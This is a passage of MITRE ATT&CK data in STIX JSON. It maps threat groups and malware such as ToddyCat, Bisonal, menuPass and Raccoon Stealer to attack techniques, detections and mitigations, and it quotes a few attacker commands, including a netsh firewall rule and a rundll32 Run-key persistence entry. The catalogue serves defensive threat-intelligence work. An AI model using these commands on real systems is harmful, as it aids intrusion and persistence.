Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-10-17T17:04:32.986Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) uses the chmod +x command to grant executable permissions to the malicious file.(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90268df8-948a-4eb4-a21c-7b1c6808f669","type":"relationship","created":"2021-08-18T18:52:48.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."},{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-01T19:12:19.650Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has obtained valid accounts to gain initial access.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9028e275-2e3b-48a7-a1b8-99bdbf524c12","created":"2024-01-22T21:41:03.564Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-22T21:41:03.564Z","description":"Prior to executing a backdoor [ToddyCat](https://attack.mitre.org/groups/G1022) has run `cmd /c start /b netsh advfirewall firewall add rule name=\"SGAccessInboundRule\" dir=in protocol=udp action=allow localport=49683` to allow the targeted system to receive UDP packets on port 49683.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90300d17-ca66-4167-a2c5-e8521b291ef7","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor for changes made to files that may abuse Microsoft Office add-ins to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--90347c97-c0c5-4407-9087-b917d0789b0e","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyZBot](https://attack.mitre.org/software/S0004) can install as a Windows service for persistence.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90355089-e793-4a6a-98b4-c1f20322a98f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-17T02:46:42.688Z","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the system’s hostname and OS version.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9038cd4b-182b-469f-ac45-83dedf5110c9","type":"relationship","created":"2021-04-20T03:06:40.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks COBALT DICKENS September 2019","url":"https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again","description":"Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School…Again. Retrieved February 3, 2021."},{"source_name":"Malwarebytes Silent Librarian October 2020","url":"https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/","description":"Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."},{"source_name":"Proofpoint TA407 September 2019","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."}],"modified":"2021-04-20T03:14:15.249Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has cloned victim organization login pages and staged them for later use in credential harvesting campaigns. [Silent Librarian](https://attack.mitre.org/groups/G0122) has also made use of a variety of URL shorteners for these staged websites.(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90397eb4-f5d6-406b-9419-3ab2aec578d4","created":"2024-08-01T22:33:53.023Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:33:53.023Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) dynamically links key WinApi functions during execution.(Citation: Sekoia Raccoon1 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--903df321-425b-4eb6-9ce3-fcc53dc5af2b","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for changes made to drive letters or mount points of data storage devices for attempts to read to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock.","source_ref":"x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08","target_ref":"attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90479403-5ebb-499d-a407-11b0fcd9c911","created":"2024-09-23T22:55:05.123Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"},{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:55:05.123Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has created scheduled tasks for persistence.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)(Citation: trendmicro_redcurl)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--905c6670-b81e-40c1-b84d-8359ffc2dcc1","created":"2022-01-11T16:06:37.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.997Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can determine if the OS on a compromised host is newer than Windows XP.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--905e27bb-8d9b-4185-b5e6-4febc5d17333","created":"2023-01-17T21:53:51.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T22:38:24.075Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used Base64 to encode their PowerShell scripts.(Citation: Cisco Talos Avos Jun 2022)(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--906699ff-a10f-4527-9173-326965cc51a2","type":"relationship","created":"2019-10-07T19:05:49.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BabyShark Feb 2019","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/","description":"Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."}],"modified":"2019-10-07T19:05:49.062Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has executed the ver command.(Citation: Unit42 BabyShark Feb 2019)\t","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9066dcee-7c80-429c-a5cc-77458e891349","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"Github AD-Pentest-Script","description":"Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.","url":"https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.631Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9069440f-f2d0-4548-94a8-6759a31b1425","type":"relationship","created":"2021-11-29T19:16:55.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T19:16:55.959Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) has the ability to capture screenshots.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9073e616-bd4a-4546-9374-d2a7dc96efb4","created":"2024-05-22T21:28:31.689Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:28:31.689Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) has been used by [Agrius](https://attack.mitre.org/groups/G1030) in wiping operations.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9076865a-8215-4536-bb31-60ab7fa20af6","type":"relationship","created":"2019-01-29T19:55:48.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2020-03-30T02:09:54.935Z","description":"[Epic](https://attack.mitre.org/software/S0091) encrypts collected data using a public key framework before sending it over the C2 channel.(Citation: Kaspersky Turla) Some variants encrypt the collected data with AES and encode it with base64 before transmitting it to the C2 server.(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--907df22e-fdfe-4b93-8b18-ebf66f83868c","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:36:11.388Z","description":"[S-Type](https://attack.mitre.org/software/S0085) may create the file %HOMEPATH%\\Start Menu\\Programs\\Startup\\Realtek {Unique Identifier}.lnk, which points to the malicious `msdtc.exe` file already created in the `%CommonFiles%` directory.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90839ffa-293e-4fe3-98d2-e8edfd55be2c","created":"2022-10-06T16:17:52.954Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T16:17:52.954Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used RAT malware to exfiltrate email archives.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9088b52e-8e07-4fd4-ac80-66df7f877adf","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"}],"modified":"2022-01-26T21:51:21.766Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) has used rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\”vert” = “rundll32.exe c:\\windows\\temp\\pvcu.dll , Qszdez”.(Citation: Unit 42 Bisonal July 2018)","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90893c7e-5080-40ff-92b2-d9c86e74b72c","type":"relationship","created":"2021-04-06T12:22:23.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-06T12:22:23.749Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has used SSH for lateral movement.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--908f1fa6-c797-47c3-bcb1-3438a9105095","type":"relationship","created":"2020-05-06T03:32:07.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Silence Aug 2019","url":"https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf","description":"Group-IB. (2019, August). Silence 2.0: Going Global. Retrieved May 5, 2020."}],"modified":"2020-05-06T03:32:07.175Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used a valid certificate to sign their primary loader Silence.Downloader (aka TrueBot).(Citation: Group IB Silence Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--908f3bce-01c5-4d0d-8dc9-4cc1a8bd9ceb","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor executed commands and arguments that may employ various means to detect and avoid virtualization and analysis environments. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--909147b8-d0f8-4222-b62c-10f1d8bec2ec","type":"relationship","created":"2020-03-10T17:45:00.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:26:23.680Z","description":"In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90922ab5-2463-4e3a-a23e-13958cce9795","created":"2023-08-18T20:51:06.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cyber Safety Review Board: Lapsus","description":"CISA. (2023, August). Cyber Safety Review Board: Lapsus. Retrieved January 5, 2024.","url":"https://www.cisa.gov/sites/default/files/2023-08/CSRB_Lapsus%24_508c.pdf"},{"source_name":"SWAT-hospital","description":"Giles, Bruce. (2024, January 4). Hackers threaten to send SWAT teams to Fred Hutch patients' homes. Retrieved January 5, 2024.","url":"https://www.beckershospitalreview.com/cybersecurity/hackers-threaten-to-send-swat-teams-to-fred-hutch-patients-homes.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T20:48:03.946Z","description":"Train and encourage users to identify social engineering techniques used to enable financial theft. Also consider training users on procedures to prevent and respond to swatting and doxing, acts increasingly deployed by financially motivated groups to further coerce victims into satisfying ransom/extortion demands.(Citation: Cyber Safety Review Board: Lapsus)(Citation: SWAT-hospital)","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90925137-7ffe-46d6-82d4-0ad7748740a3","type":"relationship","created":"2020-04-30T15:51:59.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chronicle Winnti for Linux May 2019","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a","description":"Chronicle Blog. (2019, May 